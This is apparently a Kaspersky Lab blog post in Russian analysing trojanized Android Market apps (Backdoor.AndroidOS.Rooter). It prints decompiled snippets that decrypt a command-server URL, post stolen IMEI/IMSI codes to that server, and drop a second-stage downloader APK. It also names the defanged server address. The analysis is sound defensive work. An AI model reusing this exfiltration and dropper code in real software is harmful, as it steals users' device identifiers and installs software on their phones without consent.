Вчера мой коллега Тим Армстронг написал о всплеске вредоносной активности на Android Market. Вкратце — несколько легальных приложений были заражены троянцами и загружены в Android Market. Давайте рассмотрим эти приложения поближе.
Как уже ранее упоминалось, все вредоносные приложения, с которыми мы имели дело до настоящего времени, использовали одни и те же эксплойты, классифицирующиеся «Лабораторией Касперского» как Exploit.AndroidOS.Lotoor.g и Exploit.AndroidOS.Lotoor.j. Оба хорошо известны и работают на всех версиях операционной системы Android ниже 2.3. Это значит, что любой пользователь Gingerbread (Android 2.3) должен быть защищен от этих эксплойтов.
Итак, что конкретно крадут эти троянцы? Похоже, злоумышленник очень хотел заполучить номера IMSI и IMEI. Кроме того, они собирают информацию об операционных системах и типах устройств.
Кража происходила так: внутри кода есть блок зашифрованной информации размером ровно 45 байт. Этот блок зашифрован с использованием простого XOR-алгоритма с помощью специального ключа, который хранится в другом блоке под названием «KEYVALUE». Если вам интересно, то подпрограмма для дешифрования выглядит вот так:
public static void crypt(byte abyte0[ ])
====={
=====int i = 0;
=====int j = 0;
=====do
=========={
==========int k = abyte0.length;
==========if(j >= k)
===============return;
==========byte byte0 = abyte0[j];
==========byte byte1 = KEYVALUE[i];
==========byte byte2 = (byte)(byte0 ^ byte1);
==========abyte0[j] = byte2;
==========i++;
==========int l = keylen;
==========if(i == l)
===============i = 0;
===============j++;
==========}
=====while(true);
=====}
После расшифровки первый блок информации указывает на hxxp://184.105.245.17:8080/GMServer/GMServlet, который «приютил» провайдер по имени Hurricane Electric (http://www.he.net/) в г. Фремнонт, Калифорния. Мы уже связались с Hurricane Electric по поводу этого провайдера и порекомендовали его остановить. На момент написания этого блога вредоносный сервер был уже недоступен.
Как мы уже говорили, троянец скорее всего, был создан для того, чтобы собирать коды IMEI и IMSI, а также специальную информацию об устройствах. Украденные данные передаются на сервер киберпреступников методом POST через НТТР-протокол. Загруженные блоки имеют формат XML и выглядят вот так:
Стандартный формат XML-шаблона
Информация, переданная Backdoor.AndroidOS.Rooter.a
Информация, переданная Backdoor.AndroidOS.Rooter.b
POST-метод, используемый Backdoor.AndroidOS.Rooter
Командное поле, установленное на «0» в приведенном выше блоке, информирует о загрузке похищенных IMEI и IMSI-кодов вместе с информацией об устройстве. Вы можете видеть, что информация в тегах имеющихся у нас двух разных вредоносных АРК-файлов, отличается: ProductId имеет два значения — 10023 и 10039. Очевидно, злоумышленник хотел посчитать долю успешных попыток разных троянцев достигнуть цели. Хотим так же заметить, что информация в теге (‘502’) одинакова в обоих образцах. Этот тег заставляет нас задуматься – может ли этот ‘502’ быть своего рода ID-компаньоном или партнером. Если это так, то возникает вопрос, как много было (или есть) там таких компаньонов.
Чтобы избежать многократной отправки одной и той же информации, троянец после успешной загрузки устанавливает параметр предпочтений ‘pref_config_setting’ на значение «done»:
public void run()
====={
if(Setting.access$1(Setting.this).getSharedPreferences(«pref_config_setting»,0).getInt(«done»,0)== 0)
=========={
==========byte abyte0[] = val$c;
==========String s = new String(abyte0);
==========Context context = Setting.access$1(Setting.this);
==========Setting.postUrl(s, context);
==========}
Помимо рассылки похищенных IMEI и IMSI-кодов троянец устанавливает еще один модуль. Он делает это, копируя файл внутреннего ресурса sqlite.db в DownloadProvidersManager.apk:
private void destroy(boolean flag)
{
=====boolean flag1;
=====if(flag && !isPackageInstalled(ctx, «com.android.providers.downloadsmanager»))
==========flag1 = cpFile(ctx, «sqlite.db», «DownloadProvidersManager.apk»);
=====stopSelf();
}
Итак, каково же назначение этого второго модуля? Он подсоединяется обратно к тому же серверу, где он загружал похищенные IMEI и IMSI-коды, но с другим блоком запроса (Команда «2»). В это раз он считывает ответ с сервера, который, судя по всему, включает список приложений для загрузки и установки на уже зараженное устройство.
Модульная архитектура троянца интересна и позволяет сделать несколько важных выводов. Прежде всего, он был создан таким образом, чтобы его было легко включать в популярные приложения для загрузки на Market с дезориентирующими именами. Во-вторых, он имеет классическую административно-управленческую архитектуру: он рассылает начальный запрос «Я здесь» (I’m here) c базовой информацией, а затем разворачивает более сложный загрузчик для дальнейшего заражения устройства. Это характерно для многих Windows-троянцев. И наконец, возможность инсталлировать другие приложения на устройства указывает на способ, которым вирусописатель планировал заработать на заражениях – размещая рекламное ПО или приложения рекламного характера.
Мы будем продолжать следить за ситуацией и сообщать обо всех изменениях.
Зловреды на Android Market, часть 2